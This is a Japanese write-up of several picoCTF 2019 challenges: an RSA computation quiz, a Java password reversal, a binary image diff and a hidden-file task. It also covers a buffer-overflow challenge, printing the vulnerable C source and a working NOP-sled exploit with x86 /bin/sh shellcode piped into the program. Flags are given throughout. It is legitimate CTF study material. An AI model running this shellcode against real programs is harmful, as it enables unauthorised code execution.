IS THIS POSSIBLE and FEASIBLE? (Y/N):

1問目と同じく n = p * q すなわち q = n / p なので計算できます。

93089

3問目

#### NEW PROBLEM ####
e : 3
n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913
##### PRODUCE THE FOLLOWING ####
q
p
IS THIS POSSIBLE and FEASIBLE? (Y/N):

これは素因数分解できれば q,p を算出できそうですが、素因数分解できない(計算コストが高すぎる)ことがRSA暗号の肝なので、基本的にはFEASIBLEではないはず。なので N です。

4問目

#### NEW PROBLEM ####
q : 66347
p : 12611
##### PRODUCE THE FOLLOWING ####
totient(n)
IS THIS POSSIBLE and FEASIBLE? (Y/N):

totientは"その数以下でその数と互いに素な数の個数"。n自体は p * q で求まり、totient(n) は素因数分解できれば良さそうなので求まりそう。

#!/usr/bin/env python3

import gmpy

n = 66347 * 12611

def prime_factors(x):
    prime = gmpy.mpz(2)
    x = gmpy.mpz(x)
    factors = {}
    while x >= prime:
        newx, mult = x.remove(prime)
        if mult:
            factors[prime] = mult
            x = newx
        prime = prime.next_prime()
    return factors

def euler_phi(x):
    fac = prime_factors(x)
    result = 1
    for factor in fac:
      result *= (factor-1) * (factor**(fac[factor]-1))
    return result

print(euler_phi(n))

実行結果

836623060

5問目

#### NEW PROBLEM ####
plaintext : 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
e : 3
n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
##### PRODUCE THE FOLLOWING ####
ciphertext
IS THIS POSSIBLE and FEASIBLE? (Y/N):

これは n,e と平文が与えられた状態で、暗号文が作れるか?という問題。 暗号文は c = pow(p, e, n) で与えられるので可能。

import gmpy

plaintext = 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
e = 3
n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331

c = pow(plaintext, e, n)
print(c)

実行結果

256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813

6問目

#### NEW PROBLEM ####
ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323
e : 3
n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):

暗号文と e, n が与えられたとき、平文がわかるかという問題。こちらもnが素因数分解できれば求まりそうだが、feasibleではなさそうなので、とりあえず N で回答。

7問目

#### NEW PROBLEM ####
q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e : 65537
##### PRODUCE THE FOLLOWING ####
d
IS THIS POSSIBLE and FEASIBLE? (Y/N):

p,q,e がわかっている状態で、d が求まるのか?という問題。
d = inverse(e, (p-1)*(q-1)) なので求まるはず!

from Crypto.Util.number import inverse

q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e = 65537

d = inverse(e, (p-1)*(q-1))
print(d)

実行結果

1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729

8問目

#### NEW PROBLEM ####
p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
ciphertext : 11414354166074402755164590556641179510390955987180616313598814488860571850569627408904290135283428920666717612247935936889741174861740224415910111160498656256896678079471373793134970331695671979818719947249086183419374170380011838377712137156655353333603309532154429629316613952073734543526935095731152872812955954824132637944535153824014078120443101933069681669256602347092095050923741698741934906694415931234676691035622479817210233347697548820214251179785631792488566945306938417118918268033241877748155382065658575003275681795893749615704427227208993357057762628133230351866198772974377028377937056546764806501336
e : 65537
n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):

暗号文、p,e,n がわかった状態で、平文が求まるか?という問題。

q = n // p
d = inverse(e, (p-1)*(q-1))
plaintext = pow(c, d, n)

なので、n, e, dから鍵の再構築ができます。

from Crypto.Util.number import inverse

p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
ciphertext = 11414354166074402755164590556641179510390955987180616313598814488860571850569627408904290135283428920666717612247935936889741174861740224415910111160498656256896678079471373793134970331695671979818719947249086183419374170380011838377712137156655353333603309532154429629316613952073734543526935095731152872812955954824132637944535153824014078120443101933069681669256602347092095050923741698741934906694415931234676691035622479817210233347697548820214251179785631792488566945306938417118918268033241877748155382065658575003275681795893749615704427227208993357057762628133230351866198772974377028377937056546764806501336
e = 65537
n =  23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239

q = n // p
d = inverse(e, (p-1)*(q-1))
plain = pow(ciphertext, d, n)
print(plain)

実行結果

14311663942709674867122208214901970650496788151239520971623411712977119700648325685123965309

final

ここで、先程の問題を解くとこんな文章が。

If you convert the last plaintext to a hex number, then ascii, you'll find what you need! ;)

asciiに変換してみます。

import binascii

plaintext = 14311663942709674867122208214901970650496788151239520971623411712977119700648325685123965309
flag = bytes.fromhex(hex(plaintext)[2:]).decode('ascii')
print(flag)

実行結果

picoCTF{wA8_th4t$_ill3aGal..o4d21b3ca}

[Binary] slippery-shellcode (200pt)

This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode_1_69e5bb04445e336005697361e4c2deb0 on the shell server. Source.

実行ファイルvulnソースコードvuln.cが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 512
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing from a random location now...");

  int offset = (rand() % 256) + 1;
  
  ((void (*)())(buf+offset))();


  puts("Finishing Executing Shellcode. Exiting now...");
  
  return 0;
}

実行ファイルを実行してみるとこんな感じ。

# ./vuln 
Enter your shellcode:
test_input
Thanks! Executing from a random location now...
Segmentation fault

handy-shellcodeとの違いは

 int offset = (rand() % 256) + 1;

これが追加されていて、攻撃コードの前にどれだけ詰まれるかランダムになるところです。
タイトルとこの性質からしpicoCTF2018 gps で使った nop slide が使えそうです!

このwriteupにも書きましたが、作戦はこんな感じ。

  • buffer に 攻撃用 shellcode を仕込む
  • 上記のshellcodeは、攻撃コマンドの前を nop で埋めておき、 nop コマンドのどこかに着弾すれば攻撃コードが実行されるようにする
  • 手堅い開始アドレスを計算して入力

面白かったので印象に残っていました。

今回はnopは\x90なので、これを 512-1-len(shellcode)個入れてあげて、その後ろに handy-shellcode で通ったshellcodeをくっつけて送ります。

$ (echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x68\xcd\x80\x68\x68\xeb\xfc\x68\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xeb\xe1"; cat) | ./vuln
Enter your shellcode:
������������������������������������������
...(略)
Thanks! Executing from a random location now...
cat flag.txt
picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}

[Reversing] vault-door-3 (200pt)

This vault uses for-loops and byte arrays. The source code for this vault is here: VaultDoor3.java

javaコードが配布されます。

import java.util.*;

class VaultDoor3 {
    public static void main(String args[]) {
        VaultDoor3 vaultDoor = new VaultDoor3();
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter vault password: ");
        String userInput = scanner.next();
    String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
    if (vaultDoor.checkPassword(input)) {
        System.out.println("Access granted.");
    } else {
        System.out.println("Access denied!");
        }
    }

    // Our security monitoring team has noticed some intrusions on some of the
    // less secure doors. Dr. Evil has asked me specifically to build a stronger
    // vault door to protect his Doomsday plans. I just *know* this door will
    // keep all of those nosy agents out of our business. Mwa ha!
    //
    // -Minion #2671
    public boolean checkPassword(String password) {
        if (password.length() != 32) {
            return false;
        }
        char[] buffer = new char[32];
        int i;
        for (i=0; i<8; i++) {
            buffer[i] = password.charAt(i);
        }
        for (; i<16; i++) {
            buffer[i] = password.charAt(23-i);
        }
        for (; i<32; i+=2) {
            buffer[i] = password.charAt(46-i);
        }
        for (i=31; i>=17; i-=2) {
            buffer[i] = password.charAt(i);
        }
        String s = new String(buffer);
        return s.equals("jU5t_a_sna_3lpm17ga45_u_4_mbrf4c");
    }
}

これもcheckPasswordの処理を追えば良さそうです。逆変換のスクリプトを用意します。

#!/usr/bin/env python3

buffer = "jU5t_a_sna_3lpm17ga45_u_4_mbrf4c"
password = [0] * len(buffer)

for i in range(0, 8):
    password[i] = buffer[i]
for i in range(8, 16):
    password[i] = buffer[23-i]
for i in range(16, 32, 2):
    password[i] = buffer[46-i]
for i in range(31, 16, -2):
    password[i] = buffer[i]

print('picoCTF{' + ''.join(password) + '}')

実行結果

$ python solve.py 
picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_5baf7c}

[General] whats-the-difference (200pt)

Can you spot the difference? kitters cattos. They are also available at /problems/whats-the-difference_0_00862749a2aeb45993f36cc9cf98a47a on the shell server

kitters.jpgcattos.jpg という画像ファイルが配布されます。

f:id:kusuwada:20191012021003j:plain

f:id:kusuwada:20191012021017j:plain

今までの出題傾向からすると、diffコマンドを使うのかな?と思いましたが、今回の対象はバイナリです。バイナリファイルのdiffを求めるのはcmpコマンドでできます。differenceの内容を表示するには -l オプションを付けると、

行番号(10進数), 値1(8進数), 値2(8進数)

を表示してくれるので、やってみます。

$ cmp -l kitters.jpg cattos.jpg 
  49734 231 160
  49735 235 151
  49736 230 143
  49737 310 157
  87663  12 103
 162650 364 124
 175231 153 106
 175232 261 173
 211986 230 164
 211987 222 150
 211988  15  63
 211989 330 171
 284427 122 162
 292340 174  63
 292341 371 137
 331830 216 141
 331831 365  65
 426632 346 137
 439903 360 144
 515770 112  61
 515771 252 146
 583608 341 146
 640996 310  63
 688795  77 162
 688796 107  63
 702943  23 156
 751424 243 164
 754731  61 137
 754732 113  64
 754733 274 163
 754734 304 137
 796226  43 142
 871159 256 165
 871160   6  67
 871161 316  67
 871162 346  63
 927506 347 162
 927507 212 137
 927508 122  64
 994666 376 156
 994667  43 144
 994668 377 137
1068577 234 152
1068578 344  63
1068579 203  61
1068580 222  61
1068581 162 171
1101444   5 137
1101445 173 141
1101446   7 163
1101447 300 154
1171017  53 153
1171018 147 152
1171019 356 146
1241182  51 144
1241183 224 163
1241184 200 141
1241185 106 154
1272572 217 153
1272573 156 146
1337150   4 163
1410459 345 154
1410460 340 153
1460208   5 146
1510914 237 154
1567157 322 153
1567158 100 152
1567159  42 144
1567160 220 163
1567161 205 146
1581925 315 144
1581926 244 163
1581927 215 172
1581928 147 155
1581929 257 172
1677065 176  61
1677066 341  60
1764510 357  65
1764511 210  64
1764512  31  70
1766742  13 175

でました。結構たくさん違いがあるみたいです。81文字。flagでもおかしくない長さ。ここで最終行に着目してみると、cattosの値のほうが175。8進の175は16進で0x7d、asciiにすると}です!フラグっぽい!ということで、cattosのdiffのあった箇所の値を抜き出してasciiに変換します。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import binascii

cattos_oct = "160 151 143 157 103 124 106 173 164 150  63 171 162  63 137 141  65 137 144  61 146 146  63 162  63 156 164 137  64 163 137 142 165  67  67  63 162 137  64 156 144 137 152  63  61  61 171 137 141 163 154 153 152 146 144 163 141 154 153 146 163 154 153 146 154 153 152 144 163 146 144 163 172 155 172  61  60  65  64  70 175"

flag = ''
for s in cattos_oct.split():
    flag += chr(int(s, 8))

print(flag)

実行結果

picoCTF{th3yr3_a5_d1ff3r3nt_4s_bu773r_4nd_j311y_aslkjfdsalkfslkflkjdsfdszmz10548}

[General] where-is-the-file (200pt)

I've used a super secret mind trick to hide this file. Maybe something lies in /problems/where-is-the-file_0_cc140a3ba634658b98122a1954c1316a.

picoCTFのshell server上で、指定のディレクトリに行ってみます。

$ ls

何もありません。隠しファイルかな。ということで隠しファイルも出力するオプション-aを付けると出てきました。

$ ls -a
.  ..  .cant_see_me
$ cat .cant_see_me
picoCTF{w3ll_that_d1dnt_w0RK_b2dab472}